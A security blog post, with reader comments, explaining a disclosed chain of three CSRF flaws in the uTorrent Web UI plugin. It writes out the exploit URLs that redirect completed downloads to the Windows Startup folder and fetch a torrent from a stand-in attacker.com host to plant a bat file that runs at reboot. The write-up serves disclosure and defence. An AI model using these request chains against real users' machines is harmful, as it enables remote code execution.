A few weeks ago, Rob Carter told me about a few interesting CSRF vulnerabilities that he discovered in a uTorrent plugin (he publicly disclosed them this weekend). Rob was able to chain together the CSRF vulnerabilities and the net result is complete compromise of the victim’s machine! I think this may be the first PURE CSRF vulnerability that I've seen that resulted in compromise of a victims machine (there is an argument amongst some of my colleagues as to whether protocol handling/URI vulnerabilities are actually a form of CSRF, but that’s another story). The series of vulnerabilities basically follow this flow:
When a user installs the uTorrent Web UI plugin. the plugin essentially starts a locally running web server on your machine (in order to serve the Web UI). Rob targets the CSRF vulnerabilities associated with this locally running web server.
- Rob uses a first CSRF to turn on the "Move completed downloads" option on the uTorrent Web UI. The CSRF looks something like this:
http://localhost:14774/gui/?action=setsetting&s=dir_completed_download_flag&v=1
- Once Rob has "turned on" the "Move completed downloads" functionality, he uses a second CSRF to change the path of where the completed torrent download is placed. In the example he gives, he forces the uTorrent plugin to move completed torrent downloads to the Windows startup folder. This CSRF looks something like this:
http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup
- The last step in Rob’s example forces the victim to download a torrent which points to an attacker controlled bat file. Once the file is downloaded, uTorrent places the files into the victim’s startup folder (thanks to the first two CSRFs). This CSRF looks something like this:
http://localhost:14774/gui/?action=add-url&s=http://www.attacker.com/file.torrent
Once the file is placed, the next time the user restarts their machine, the attacker controlled file will be run... there you have it... compromise of a victim’s system through three CSRFs! Scary stuff... you can read more about the issue on Robs Blog <robs blog>.
[...] expert Billy Rios has reported a vulnerability that Rob Carter discovered in the Web UI of the popular µTorrent [...]
ReplyDelete[...] CSRF pwns your box?!?! [...]
ReplyDeletebut it does require admin rights to write to %allusersprofile%, and who would run p2p apps as admin?
ReplyDeleteBeautifully orchestrated example of how Cross-Site Request Forgeries are often more useful than Cross-Site Scripting alone. This was a very clever method for manipulating the client, and possibly gaining persistent access to the victim's computer. This demonstration, and the one to snare GMail accounts, have really impressed me and should cause developers to realize why these issues are so important. On a side note: uTorrent sucks.
ReplyDelete[...] related article can be found at http://xs-sniper.com/blog/2008/04/21/csrf-pwns-your-box/ Share and Enjoy: These icons link to social bookmarking sites where readers can share and [...]
ReplyDelete